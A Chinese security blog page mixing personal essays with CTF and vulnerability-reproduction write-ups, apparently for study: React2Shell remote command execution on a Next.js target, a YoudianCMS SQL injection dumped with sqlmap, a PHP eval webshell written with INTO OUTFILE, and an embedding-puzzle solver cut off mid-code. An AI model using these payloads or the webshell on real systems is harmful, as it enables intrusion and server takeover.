允许自己下落，允许自己升起；慢慢理解世界，慢慢更新自己
新年特辑：仍在路上 置顶
AI摘要：文章围绕“选择、成长与同行”展开，写给仍在前行中的人。作者认为，人生没有绝对正确的道路，当下所走的路就是当时最真实的选择，重要的不是结果，而是对自己内心的诚实与承担。通过“抛硬币的三秒真空”等意象，强调方向来自内心的悸动而非外界判断。文章也珍视同行者的陪伴，倡导与自己和解、接纳不确定与遗憾。最终传达出温柔而坚定的信念：只要持续前行，慢一点也没关系，每个人都会走向属于自己的位置。”钟表的指针周而复始，就像人的困惑、烦恼、软弱、摇摆不停。但最终，人们依旧要前进，就像你的指针，永远落在前方“在人生所有无声的选择里，最难的那一次，总会把你推向真正的自己。写在开头每个人的人生，都是一条独一无二的旅程。有时阳光明媚，路上花香扑鼻；有时风雨交加，泥泞遍地。我们无法预知下一刻的风景，也不能回到过去重新选择。但我们可以选择以怎样的姿态，走好脚下的每一步。无论你身处人生的哪个阶段，希望你读完之后，能微微停下，深深呼吸，然后坚定地往前走——因为...当下，就是你最好的路人总是会不自觉地，把自己没走的那条路美化到极致。 仿佛只要当初随便换个选择，现在的一切就会截然不同。 可也许—— 那条你没选的路上，你会因为放纵而变得臃肿，被讥笑； 我并不是悲观主义者，只是想告诉你： 另一条路同样可能不美好。 我们没法回到过去，也不可能重新做出选择。 既然你在当时做出了你能做出的最好选择，那就继续走下去。 这是你的路，你选择的路。 抓住现在，而不是沉迷过去、可能、未来。一枚硬币的三秒真空当硬币脱离指尖，在空中划出一道弧线，我们以为是在把命运交给偶然。 但其实—— 硬币抛起的从来不是正反，而是藏在心底沉浮的愿望。 那三秒的真空，是人生少有的坦诚。 所有犹豫、所有伪装、所有人设，都来不及跟上硬币的旋转。 你突然看清： 自己最害怕失去的是什么—— 是那个人，那个机会，还是那个你以为已经放下的自己？ 当硬币落地，你为那个未发生的结果松一口气，或心里一沉。 那一瞬间的 庆幸或失落，才是你灵魂真正的方向。 所以别问硬币落在了哪面。 问一问硬币落地时，你心里那道最轻微的涟漪。 它比任何占卜都更接近你的本质。 所有重要的选择，本质上不是选择未来，而是认清自己。可人真正需要的从来不是一个结果，而是一个让自己坦白的理由。我们把很多选择包装成“再想一想”“再等等吧”，其实心底早有答案，只是我们不敢面对——怕承担，怕后悔，怕承认某种渴望。可是硬币在空中旋转的那三秒，把所有逃避都摁下了暂停键。你忽然明白：你不是不知道自己想要什么，你只是还没准备好为了它付出代价。很多时候，我们不是在选择未来，而是在选择“愿不愿意为它负责”。抛硬币之所以让人心安，不是因为概率，而是因为它替我们揭开了那层最真实的自己。你会发现——多年以后你记不住那次究竟是正面落下还是反面落地，但你一定记得当时心里闪过的那一丝轻微、却刺眼的悸动。那种“终于看见了自己的心”的感觉，会成为你后来无数次决定中的底色。所以当你再遇见困难、迷茫、犹豫的时候，你无需再靠硬币来替你做决定。你只要回想起当年的那三秒，回想起那一瞬你的心往哪一边颤了一下。人生真正的方向，从不在硬币的落点里，而在你胸口那道微不可察、却无比诚实的震动。如果说选择是命运给的课题，那么那三秒的真空，就是你交出的最真实的答卷。你以为在找路，其实路在找你。曾有个朋友问过我：“你到底是怎么判断自己想走哪条路的？”我当时愣了一下——不是因为问题难，而是因为我忽然意识到：所谓的“方向”，好像从来不是某一天突然被我想明白的。我只告诉他一句很老实的话：“其实我也没多确定，只是每一次心里轻轻颤了一下，我就往那边迈了一步。也就是最简单的直觉。”我们常常以为方向要靠深思熟虑、靠别人点拨，靠一场灵光乍现；可后来你会发现，真正的方向往往藏在那些细小到几乎被忽略的瞬间——你在听到某句话时突然安静下来；你在面对某个机会时心跳莫名加快；你在做某件事时即使疲惫，却从不想放弃。这些微弱却真实的悸动，才是最稳定的指南针。也正因为如此，我才会越来越相信：我们所谓的“确定方向”，不是找到一个完美答案，而是有勇气承认自己心底的偏向——哪怕只有一点点。有时候我会突然意识到——原来长大的过程，并不是某一天突然懂了很多道理，而是在一次又一次撞南墙、摔跤、心软、心碎、重来之后，慢慢学会了不再那么急着为所有事给出答案。我们开始接受不确定，接受感情里有人来有人走，接受努力不一定有结果，接受遗憾永远不会彻底消失。可与此同时，我们也开始明白：每一个熬过的夜、挺住的崩溃、逼自己咽下的情绪，都在悄悄把我们变成更稳、更柔软、更有力量的人。成长不是变得刀枪不入，而是即使受过伤，依然愿意相信下一次依然值得全力以赴。也许你现在还看不清前路，也许生活的重量偶尔会压得你抬不起头，但没关系——你已经比昨天勇敢很多了。人生的路不是用来奔命的，它允许你偶尔停下，允许你困惑，允许你慢一点、再慢一点。等到回头的一天你会发现：原来那些自以为走得乱七八糟的时刻，都正好把你带到了现在这个“刚刚好”的位置。写给新一年的一句话我一直觉得，后悔是在欺负当时的自己。 没人能每一步都走得正确。 我不想回头批判过去的我，也不会抱怨。 我愿意大大方方为自己的认知买单，因为如果能重来，以当时的阅历和心智，我大概率还是会做出同样的决定。 人生没有白走的路。 每一段遗憾、痛苦、迷茫，都是你该经历的章节。 人生永远没有绝对正确的选择，只有不断努力让选择变得正确。 山有顶峰，湖有彼岸。 你要相信，在人生漫长的路上， 万物皆有回转，余味也会悠长。 其实，不用和别人比进度，人生有自己的时间表，慢慢走慢慢看，慢慢变成想成为的人，会有属于自己的传说人生的同行者人生像一条漫长而幽深的路，有人独自踽踽而行，有人携手同行。同行者不必言语太多，只是默默在你身侧，在你不知所措时，伸出一只无声的手；在你疲惫停下时，给你一个不用解释的肩膀。有些人是风，轻轻掠过你的世界；有些人是光，悄悄照亮你看不见的角落。他们不改变你的方向，却让你走得更坚定；不替你承担风雨，却让你知道风雨里有人与你并肩。真正的同行者，不在于声势浩大地陪你奔跑，而在于在你最孤独、最迷茫的深夜，悄悄和你一起呼吸同一片寂静。那份存在，像夜色里最温柔的灯火，在你看不见的地方，默默照亮前路。我个人认为，真正的同行者——或者说值得托付真心的朋友——并不多。他们珍惜陪伴，也懂得保持分寸，只在你最需要的时候，用真心轻轻提醒，而不是随意附和你每一个念头。他们不喧嚣，却会在恰当的时刻，用自己的方式将重要的话悄悄呈现，让你有机会听见那些未必容易接受的真心建议。因为我一直觉得，真正的朋友不是永远顺着你、什么都附和你，而是在你看不清的时候，愿意冒着让你不开心的风险，说一句真心话、提一个不会让你不一定能接受的建议。我也慢慢学会了一件事：我能给的是真诚，但我不会去强求。我会把我看到的风险告诉你，我会把我觉得更好的路摆在你面前，这是我对朋友的在乎，也是我能做到的全部。但如果你不愿听、不想改、或者暂时没有准备好，我不会一次又一次重复，更不会自讨没趣地去推你、拉你、逼你。因为每个人都有自己要交的学费，都有自己必须亲身经历的路。每个人承受的重量不一样。我不会用自己的想象，去轻易评价别人经历的人生，无论如何，都不要站在自己的角度，去评判别人的选择。因为你可能不知道，别人到底经历了什么。有些人值得深交，有些人适合点头微笑，而有些人——留在回忆里就够了。人生很长，同行者却很少。其实身边人都是来来去去的，大多数人相遇后，只能陪你走很短的一段路，一路走，一路离开。生活不就是这个样子的吗。有时候，我们一路向前，也需要有人在旁边； 有时候，最重要的同行者，其实是自己。与自己同行夜很深，房间静得只剩下自己的呼吸。手指敲过键盘的声音，像雨点落在窗台上，轻微而清晰。努力的日子里，身体悄悄留下印记——肩膀微酸，眼睛倦了，心里却还藏着明亮的期待。我学会在这样的夜里停一下，让手松开，让眼闭上，听听自己最真实的节奏。也许明天还要奔跑，也许还要追逐目标，可此刻的歇息，是给自己的礼物。身体和心灵，像两条平行的河流，若只顾一端泛滥，另一端便会干涸。在寂静里听它低语，学会与自己相处，才知道奔跑并非无休止，而是有温度、有呼吸、有余地的前行。夜色深了，灯光柔软，思绪缓缓流动，这就是与自己同行的方式——悄悄，却坚定。如果你读到这里，也许你并不完全赞同我说的每一句话，但你或许在某个段落里，停顿过。那个停顿，本身就很重要。因为那说明，你还在认真地对待自己的人生。回忆那是在高中。我当时表面看起来一切正常，可心里却像被掏空了一块。努力没有方向，未来模糊得让人不敢多想，连“坚持”这件事，都变得没有意义。当然，基本没有人看出我的异常。我记得很清楚，那不是一两天的低落，而是一段持续很久的迷茫。我不至于崩溃，但也看不到希望。一边走，一边怀疑自己是不是走错了路。他并没有对我说什么宏大的道理，也没有告诉我“你以后一定会怎样怎样”。甚至很多时候，我们只是很普通地聊天，互相打趣。聊学习、聊生活、聊一些看似没什么用的小事。聊未来，聊规划，也聊当下该怎么熬过去。在那些并不耀眼的时刻里，我们慢慢交托真心，彼此照看，也彼此撑住。有些人，不一定陪你走很远，却刚好出现在你最容易迷失的那段路上。他们不喧哗、不高调，却在你人生最关键的节点，轻轻托了你一下。信任感是可以装出来的，但真正的信任装不久。很多信任，其实不是说出来的，随着时间的流逝。我能从一次次细小的举动里，确认了彼此不会转身、不会出卖、不会把你交出去。人生中，能够真正互相看见、彼此交托真心的人，并不多。他们未必时刻出现，却会在关键的时刻站在你这边；不一定替你挡风挡雨，但至少不会在风雨来时松手。正因为稀少，才显得珍贵。也正因为来之不易，才值得被认真对待、被小心珍惜。有些人，只适合走一段路；而有些人，一旦并肩过，就会成为你人生里，少数不需要反复确认的存在。至少，他也绝不会是你讨厌的人，也不会是那些你第一眼就不想靠近的人的朋友。能与你趣味相投，气场相合，这样的存在，本身就是一种温暖。不知道你会不会看到这些文字哈哈。但直至今天，我们仍然保持着联系。后来我也遇到过那种——明明已经尽力，却什么都没换来的时刻。那时我甚至没办法把它称作“成长”，它只是失败本身。但我还是活着走过来了。仅此而已。如果说那段高中时光教会了我什么，那大概就是——在迷茫的时候，有人愿意认真听你说话，那本身就是一种极大的力量。轨道仍在，笼门已开“我很确定未来AI哪怕统治了世界，它们应该不会很在意火车这种东西，毕竟(对比起AI)它太慢，太愚蠢了，它们会忘记人类对它的情感，但是我们记得。火车虽然比不了飞机还有火箭，还有光纤这么快，但是有一点它很特别，即便上车意味着分别，但是只要轨道还在，我们还记得彼此，总有一天，我们会再次相遇。” ---Tim“我原本以为，在笼子里关了这么久的鸟，没法再融入自然了，迟早会飞回来，但有一天我发现，它过的很好，还找到了伙伴，它终归是走出去了。”“试着走出去就行吗？”“走出去，找到一群愿意交托真心的朋友，然后，不在孤独。”“真是....简单的三步啊。”“我也该走出自己的笼子了” ---胜卷在握亲爱的后辈们，新年的钟声响在前行的路上。就像人生的选择从不是硬币的正反面，而是跟着心的震颤往前走；也像行路时未必总有同行者，但与自己并肩，便永远有底气。愿你们在2026年，敢选、敢走、敢和自己和解，每一步都踩在属于自己的“最好的路”上。元旦快乐！——谭老师我们仍在路上你可能以为自己走得慢，可你一直在走； 你可能以为没人看见你的努力，可你自己知道； 你可能怀疑过自己，怀疑过未来，可你还是撑到了今天。这就已经非常了不起。生活有时像是把人推入深水—— 你看不见岸，也摸不到底。 你慌过，沉过，但你始终没有停止踢腿。你在用自己的方式往前游， 哪怕动作笨拙，哪怕速度缓慢。 可只要你没停下，你就没有输。请记住一件很温柔的事： 成长从来不是轰轰烈烈的， 它是悄无声息、积少成多的坚持。新的一年里， 你会遗憾，你会心动，你会沮丧，你会改变。 你会失去一些东西，也会得到一些新的。 但无论如何—— 你正在成为比去年更完整的自己。愿你新的一年里：眼里有光，心里有火；走得慢也好，绕点路也罢， 最终，都能走到自己想去的地方。写在最后有人说：遗憾总是贯穿人生的始终现在的我也依旧藏着许多没来得及说出口的遗憾。但我仍希望，无论是我，还是我们，都能在尘埃落定之前，不再让遗憾成为遗憾。愿那些没来得及完成的心愿，最终都能有一个不辜负自己的结局。愿你继续做那个一直往前走的自己。在这一年的最后，希望你依旧敢和生活碰撞，敢在逆境里撒野，敢于直面孤独，也永远乐意为新一轮月亮升起而欢呼，希望你兴致盎然的和世界交手，一直走在开满鲜花的路上，希望我们都能成为勇敢的人。最后的最后新年快乐！我的朋友们。致仍在路上的你——也致正在成为更好的你愿我们心中的赤诚永不熄灭。循此苦旅，以达星辰。—— BushSEC2026-01-01
攻击机IP：10.10.16.8靶机IP：94.237.120.119该挑战展示了一款运行NexusAI助手界面的精美Next.js应用程序。该应用程序似乎通过 React Server 组件处理用户输入,但响应层中的细微故障提示了底层漏洞。访问页面：curl -v http://94.237.120.119:31312从回来的响应头可以发现关于HTTP响应头层面的铁证,从这里可以看到启用了支持 RSC 的 Next.js 应用程序,并提供 HTML，存在CVE-2025-55182漏洞Vary: rsc, next-router-state-tree, next-router-prefetch, Accept-Encoding然后让我们来看常见的几个指标1.包含响应头next-前缀包含 HTML 3.存在 .next 目录工件/_next/static/chunks/*.js /_next/static/chunks/*.css /_next/static/media/*.woff2说明：/_next/ 是 .next/ 构建产物的 对外映射实际磁盘结构.next/ static/ chunks/ media/虽然无法直接看到服务器的 .next/ 目录，但只要 /_next/static/* 可访问，即可确认 .next 构建工件存在准备环境git clone https://github.com/freeqaz/react2shell.gitchmod +x react2shell/*.sh首先之前的那些指标都是我们的猜测，我们准备进行漏洞检测./detect.sh http://94.237.120.119:31312[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478) [*] Target: http://94.237.120.119:31312 [*] HTTP Status: 500 [!] VULNERABLE - Server returned 500 with E{"digest" pattern [*] Response body: 0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"} 1:E{"digest":"346246470"} [!] This server is running a vulnerable version of React RSC / Next.js [!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediately 从结果看我们发现了HTTP 500:检测到崩溃 E{"digest"响应式: React 错误处理格式 结论:服务器为漏洞主机远程代码执行接下来我们来验证任意命令执行./exploit-redirect.sh -q http://94.237.120.119:31312 "id"这里我们能看到代码被成功执行了这个脚本的作用是什么构造一个包含命令载荷的 multipart 请求体 将命令嵌入到原型污染（prototype pollution）的引用路径中 发送带有 Next-Action: x 请求头的 POST 请求 服务器在处理过程中对数据进行反序列化，并执行嵌入的命令 通过 HTTP 303 重定向 返回命令执行的输出结果输出显示uid=0(root)- 网页服务器运行为 root信息收集让我们构建文件系统并查找敏感文件./exploit-redirect.sh -q http://94.237.120.119:31312 "pwd"./exploit-redirect.sh -q http://94.237.120.119:31312 "ls -la /app"目标文件存在/app/flag.txt并具有限制性权限(600)拿到目标文件
当技术跑得比我们快：关于努力、价值与被时代追逐的焦虑
AI摘要：文章探讨AI快速发展带来的焦虑与挑战，强调人类的价值在于独特的经历、情感和过程，强调要守住属于人类的优势，注重深度和灵魂的追求。随手写点东西，算是深夜里的胡思乱想。AI 刚出现那会儿，它的笨拙几乎让人觉得好笑。让它画个吃面条的人，它能把筷子画成奇形怪状；让它写点代码，bug 能塞满整页。那时候，我真心觉得：放心吧，它离取代人类技能还远着呢。但真正让人后背发凉的，是后来发生的一切。短短几个月，它开始写出结构严谨的代码；视频稳定了，画面逼真了，人物细节越来越难以分辨真假；从 ChatGPT 的问世到 Claude4，再到 Gemini3，仅仅过去了三年左右的时间。而我们呢？还在原地慢慢学、慢慢积累、慢慢成长。那一刻，我第一次感受到一种说不上来的荒诞——人类的成长速度，似乎真的追不上时代了。从小到大，我们被教导“努力就会有回报”。你花时间、你熬夜学习、你坚持不放弃，就能拥有别人没有的能力。可是 AI 的出现像是在说：你花十年学会的，我几秒就能做到。你熬夜查资料，我用不到一瞬。你因为经验而骄傲，我根本不需要经验。这是第一次，努力这件事被重新审判。甚至让人怀疑：我们曾经挑灯夜读的那些年，在今天到底值多少钱？AI 不会累、不会焦虑、不会犹豫、不会精神内耗。它只会越来越强，越来越快，越来越“知道”。而我们却仍然是那一个会疲惫、会迷茫、会半夜怀疑人生的人类。说实话，我不怕比不过 AI。我怕的是——如果它比我们所有人都做得更好，那人的价值在哪里？这是一个很扎心的问题。因为它不仅是“职位竞争”，更深的是一种价值危机：当一个系统能以几何速度吸收世界知识，那我们这些一点点学习、慢慢成长的人，还剩下什么独特性？我们会不会真的有一天意识到：自己辛苦二十年，不如别人训练一次模型？这种想法不是悲观，而是一种难以回避的事实感。如果结果被替代，那我们能守住什么？思来想去，我发现一个很奇怪，却又很真实的答案：我们可能只剩下经历，剩下过程。但它不是退而求其次。它是人类真正无可替代的东西。经历是什么？是你第一次写出能跑的代码时那种近乎傻气的兴奋；是你被困难卡住的那几天烦躁、沉默、反复尝试；是你熬夜后第二天靠意志力撑起的清晨；是你失败之后，还是决定再试一次的那口气。这些东西，AI 没有。AI 也体验不到。AI 无法理解“痛一下就明白了”的深意。**过程塑造的是灵魂，而灵魂，是任何模型都训练不出来的。**我们这些年，把“价值”量化得太精准了：效率、产出、技能、竞争力。刚好都是机器擅长的。而那些真正让我们成为“人”的东西——情绪、直觉、顿悟、感受、美学、想象力、经历的沉淀、选择背后的理由——这些从来不是机器的领域。我们只是太久没有去重视它们，以至于当机器在“技能领域”打赢我们时，我们误以为自己“被淘汰”了。其实并没有。我们只是该转身，去守住那些属于人的领地。未来的世界可能比现在更失控，AI 也只会更强。这既是趋势，也是无法抵抗的时代洪流。但这并不意味着我们就没有位置了。我们能做的，是把人生从“要成为最快的人”转为“要成为最像自己的人”。赢不了效率，就去赢深度；比不过速度，就去比洞察；不擅长无休止的优化，就学会理解、陪伴、创造、感受。AI 会越来越像人，但永远不是人。真正的区别，不在于能力，而在于——我们有故事。这个世界上，没有任何一台机器能替你走完你的故事。没有任何算法能代替你感受这一生的重量与温度。也许我们追不上技术的脚步，但我们依然能决定自己人生的方向。而经历与过程，就是我们留给这个世界最独特、最无法替代的印记。
AI摘要：该文章展示了利用YoudianCMS 9.5.0版本中的安全漏洞进行SQL注入和权限绕过的全过程，包括漏洞复现、注入攻击、敏感信息爆破及植入后门的步骤。首先安装cms先登录网站后台：http://<IP地址>/index.php/Admin/public/AdminIndex进入管理后台首先进行端口扫描nmap <IP地址>Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 09:08 CST Nmap scan report for 123.58.224.8 Host is up (0.012s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https 8008/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds 本漏洞易受攻击的文件路径：http://<IP地址>/index.php/App/Lib/Action/Admin/MailAction.php易受攻击的url：http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1延时注入MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)登录后台获取cookiePHPSESSID=oj44i6rf57h48fg16agn48btdvsqlmap无脑扫,由于本漏洞需要后台管理员权限，请注意带上你的cookiepython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)" --cookie "PHPSESSID=oj44i6rf57h48fg16agn48btdv" --tables --level 2选项选择N，Y，N，Y，Npython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1" --cookie="PHPSESSID=f3of4ssti7dsg8pvs3s8rtf9vn; youdianMenuTopID=3" --dbs将之前yakit截获的（/index.php/Admin/mail/viewLog?MailSendID=1）响应包复制下来为data.txtGET /index.php/Admin/mail/viewLog?MailSendID=1 HTTP/1.1 Host: <IP地址> Cookie: PHPSESSID=oj44i6rf57h48fg16agn48btdv; youdianMenuTopID=3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9首先对用户名进行爆破python sqlmap.py -r data.txt --users --threads 10接着对密码进行爆破python sqlmap.py -r data.txt --passwords --threads 10得到密文密码：*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Bcmd5解码接着就是登录mysql，传入一句话木马构造payloadSELECT "<?php eval(@$_POST['password']);?> " INTO OUTFILE '/var/www/wordpress/include/Db/1.php';然后蚁剑连上一句话木马即可，就不演示了
AI摘要：通过降维并利用几何结构，分析高维嵌入空间的螺旋形态，结合多路径遍历和排序策略，成功还原隐藏的 Flag：“HTB{L0ST_1N_TH3_SP1R4L}”。目标输入：embeddings.npy（高维嵌入，形如 110×512）、tokens.npy（对应字符数组）。方法：PCA 将嵌入降维到 2D/3D，依据点的几何结构（环形/螺旋），按合适顺序遍历并拼接字符。步骤 1：理解数据与挑战embeddings.npy：每个字符在高维空间的向量表示；tokens.npy：字符集合（含字母、数字、符号），在空间中“打散”分布；思路：降维后，数据通常呈现环形/螺旋等结构。沿着该结构遍历点，即可恢复字符原始顺序，拼接得到可读字符串与 Flag。步骤 2：确定如何完成机器无法像人类一样理解词语的含义，因此我们需要将词语转换为它们可以“操作”的形式——也就是数字。 在自然语言处理中，代币（token）是句子的最小单元，它可以是单词、子词，甚至是单个字符。例如，句子“天空是蓝色的”可以被拆分为“天空”、“天”、“是”和“蓝色”等代币。每个代币都会被映射为一个向量 ID，该向量的每一维都包含数值信息，用来捕捉代币的特征与关系。例如，“蓝色”这个词可能对应向量 [0.23, 0.89, 0.99, 0.98, ...]：第一维可以表示与“火”的相似度（因此数值较低）；第三维可能表示与“颜色”的相关性（因此数值接近1）。这些向量就是嵌入（embedding）——一种数值化表示，使机器能够理解语言的语义信息。但是，这类向量通常维度很高，可能达到100或1000维，我们无法直观地进行可视化。因此，我们需要将高维向量降维到可视化友好的三维空间。幸运的是，scikit-learn 提供了 PCA（主成分分析） 方法，可以有效地将高维数据压缩到低维，同时尽量保留数据的主要特征。本次挑战提示中提到“3D”和“阴影”，这正暗示我们可以将向量降到三维空间进行可视化，以便更直观地观察代币之间的关系。首先让我们来将矢量尺寸缩小至三维,并绘制出矢量及其2D阴影。image.py#!/usr/bin/env python3 # 保存为 find_flag_in_png.py import sys, os, re from PIL import Image import numpy as np def find_ascii_in_bytes(b, minlen=6): cur = bytearray() res = [] for x in b: if 32 <= x < 127: cur.append(x) else: if len(cur) >= minlen: res.append(cur.decode('latin1')) cur = bytearray() if len(cur) >= minlen: res.append(cur.decode('latin1')) return res def search_patterns_in_strings(strings): hits = [] for s in strings: for m in re.finditer(r'(flag\{.*?\}|FLAG\{.*?\}|ctf\{.*?\}|CTF\{.*?\})', s, flags=re.IGNORECASE): hits.append(m.group(0)) return hits def lsb_extract_and_search(img_arr, max_bytes=200000): H,W = img_arr.shape[0], img_arr.shape[1] C = img_arr.shape[2] if img_arr.ndim==3 else 1 # 每像素交织的最低有效位（LSB）（R,G,B,R,G,B,...） bits = [] if C == 1: data = img_arr.ravel() bits = (data & 1).astype(np.uint8) else: # 形状 H,W,C -> 逐像素迭代 # 为限制内存/时间，仅采样前 N 个像素 Npix = min(H*W, 20000) # sample first 20k pixels pix = img_arr.reshape(-1, C)[:Npix] bits = (pix & 1).reshape(-1) # 组装字节（高位在前，MSB-first） nbytes = (len(bits) // 8) bytes_arr = [] for i in range(nbytes): byte = 0 for j in range(8): bit = int(bits[i*8 + j]) byte = (byte << 1) | bit bytes_arr.append(byte) b = bytes(bytes_arr) text = "" try: text = b.decode('utf-8', errors='ignore') except: text = b.decode('latin1', errors='ignore') hits = search_patterns_in_strings([text]) return hits, text[:1000] def per_channel_lsb_search(img_arr): hits = [] snippets = {} if img_arr.ndim==3: C = img_arr.shape[2] for ch in range(C): data = img_arr[:,:,ch].ravel() bits = (data & 1).astype(np.uint8) nbytes = len(bits)//8 if nbytes == 0: continue bytes_arr = [] for i in range(nbytes): byte = 0 for j in range(8): bit = int(bits[i*8 + j]) byte = (byte << 1) | bit bytes_arr.append(byte) b = bytes(bytes_arr) s = b.decode('latin1', errors='ignore') found = re.findall(r'(flag\{.*?\}|FLAG\{.*?\}|ctf\{.*?\}|CTF\{.*?\})', s, flags=re.IGNORECASE) if found: hits.extend(found) snippets[f'channel_{ch}'] = s[:500] return hits, snippets def main(path): if not os.path.exists(path): print("file not found:", path); return with open(path, 'rb') as f: raw = f.read() print("[*] raw bytes length:", len(raw)) # 1）原始 ASCII 字符串 strings = find_ascii_in_bytes(raw, minlen=6) print("[*] ascii-string snippets found in file bytes (first 40):") for s in strings[:40]: print(" ", s[:200]) # 在原始 ASCII 中搜索可能的 flag 模式 raw_hits = search_patterns_in_strings(strings) if raw_hits: print("[+] FOUND flag-like patterns in raw bytes:", raw_hits) else: print("[-] No explicit flag{...} pattern found in raw file bytes.") # 2）通过 PIL 检查 PNG 文本块 try: im = Image.open(path) print("[*] Image format/mode/size:", im.format, im.mode, im.size) print("[*] Image info keys:", im.info.keys()) for k,v in im.info.items(): print(" info:", k, "=", str(v)[:400]) arr = np.array(im) except Exception as e: print("PIL open error:", e) return # 3）每像素交织的 LSB print("[*] Running LSB per-pixel interleaved search (sampled). This can take a moment...") hits, snippet = lsb_extract_and_search(arr) if hits: print("[+] LSB per-pixel hits:", hits) else: print("[-] no flag-like patterns in interleaved LSB. snippet preview:") print(snippet[:400]) # 4）逐通道 LSB ch_hits, ch_snips = per_channel_lsb_search(arr) if ch_hits: print("[+] LSB per-channel hits:", ch_hits) else: print("[-] no flag found by per-channel LSB. channel snippets shown below.") for k,v in ch_snips.items(): print(" ", k, "->", v[:200].replace('\n',' ')) print("[*] Done.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 find_flag_in_png.py file.png") else: main(sys.argv[1])得到矢量图你注意到这其中有什么不寻常的地方吗？在 XY 平面上的那些螺旋纹理太过整齐，绝非巧合。步骤 3：确定方案加载数据并将 tokens 统一为可拼接的字符串。用 NumPy 的 SVD 实现 PCA，将高维嵌入投影到 3 维。生成候选字符串：主轴排序：分别按 PC1/PC2/PC3 升序与降序拼接。极角排序：在 PC1–PC2 、 PC1–PC3 、 PC2–PC3 平面按 atan2 角度遍历。2D 最近邻路径与 MST+DFS 遍历，得到路径式拼接。pwn.pyimport numpy as np def load_data(): E = np.load('embeddings.npy') T = np.load('tokens.npy', allow_pickle=True) # 将不同类型的 token 规范化为普通 Python 字符串 norm_tokens = [] for t in T: if isinstance(t, bytes): norm_tokens.append(t.decode('utf-8', errors='ignore')) else: norm_tokens.append(str(t)) return E, np.array(norm_tokens) def pca_numpy(E, k=2): # 进行均值中心化并用 SVD 投影（无需 sklearn 的 PCA） E0 = E - E.mean(axis=0, keepdims=True) U, S, Vt = np.linalg.svd(E0, full_matrices=False) return E0 @ Vt[:k].T def join_tokens(T, order): return ''.join(T[order]) def angle_sort(X2): angles = np.arctan2(X2[:, 1], X2[:, 0]) return np.argsort(angles) def nearest_neighbor_order(X2): n = X2.shape[0] visited = np.zeros(n, dtype=bool) start = np.argmin(X2[:, 0]) # 最左侧点作为起点 order = [start] visited[start] = True for _ in range(n - 1): last = order[-1] # 计算到所有未访问点的距离 idxs = np.where(~visited)[0] diffs = X2[idxs] - X2[last] dists = np.einsum('ij,ij->i', diffs, diffs) next_idx = idxs[np.argmin(dists)] visited[next_idx] = True order.append(next_idx) return np.array(order) def mst_dfs_order(X2, start=None): n = X2.shape[0] if start is None: start = np.argmin(X2[:, 0]) # 计算完整的距离矩阵 diffs = X2[:, None, :] - X2[None, :, :] dists = np.einsum('ijk,ijk->ij', diffs, diffs) visited = np.zeros(n, dtype=bool) visited[start] = True edges = [[] for _ in range(n)] for _ in range(n - 1): # 在已访问集合与未访问集合之间寻找最短边 best_i = -1 best_j = -1 best_d = np.inf for i in np.where(visited)[0]: # 仅考虑通向未访问节点的边 j_candidates = np.where(~visited)[0] if j_candidates.size == 0: continue j = j_candidates[np.argmin(dists[i, j_candidates])] d = dists[i, j] if d < best_d: best_d = d best_i = i best_j = j # 将该边加入最小生成树（MST） edges[best_i].append(best_j) edges[best_j].append(best_i) visited[best_j] = True # 从起点进行 DFS 遍历 order = [] stack = [start] seen = np.zeros(n, dtype=bool) while stack: node = stack.pop() if seen[node]: continue seen[node] = True order.append(node) # 邻居按距离由近到远入栈，使路径更平滑 nbrs = edges[node] if nbrs: nbrs_sorted = sorted(nbrs, key=lambda j: dists[node, j], reverse=True) stack.extend(nbrs_sorted) return np.array(order) def nearest_neighbor_order_start(X, start): n = X.shape[0] visited = np.zeros(n, dtype=bool) order = [int(start)] visited[start] = True for _ in range(n - 1): last = order[-1] idxs = np.where(~visited)[0] diffs = X[idxs] - X[last] dists = np.einsum('ij,ij->i', diffs, diffs) next_idx = idxs[np.argmin(dists)] visited[next_idx] = True order.append(int(next_idx)) return np.array(order) def path_length(order, X): diffs = X[order[1:]] - X[order[:-1]] dists = np.sqrt(np.einsum('ij,ij->i', diffs, diffs)) return float(dists.sum()) def two_opt_improve(order, X, max_iter=2000): n = len(order) improved = True it = 0 best = order.copy() best_len = path_length(best, X) while improved and it < max_iter: improved = False it += 1 for i in range(1, n - 2): for k in range(i + 1, n - 1): # 当前考虑的两条边：(i-1,i) 与 (k,k+1) a, b = best[i - 1], best[i] c, d = best[k], best[k + 1] old = np.linalg.norm(X[a] - X[b]) + np.linalg.norm(X[c] - X[d]) new = np.linalg.norm(X[a] - X[c]) + np.linalg.norm(X[b] - X[d]) if new + 1e-9 < old: best[i:k + 1] = best[i:k + 1][::-1] best_len -= (old - new) improved = True # 若本轮没有改进则提前退出循环 return best def get_flag_substring(s): start = s.find('HTB{') if start == -1: return None end = s.find('}', start + 4) if end == -1: return None return s[start:end + 1] def main(): E, T = load_data() print('Embeddings shape:', E.shape, 'Tokens count:', len(T)) # 使用 SVD‑PCA 将数据投影到 3 维 X3 = pca_numpy(E, k=3) # 分别沿每个主成分轴进行升序/降序排序 candidates = [] for i in range(3): order = np.argsort(X3[:, i]) asc = join_tokens(T, order) desc = join_tokens(T, order[::-1]) print(f'PC{i+1} asc:', asc) print(f'PC{i+1} desc:', desc) candidates.append(asc) candidates.append(desc) # 在多组主成分平面上进行基于极角的 2D 排序（环绕遍历） def angle_sort_pair(X3, i, j): X2 = np.stack([X3[:, i], X3[:, j]], axis=1) order = angle_sort(X2) return 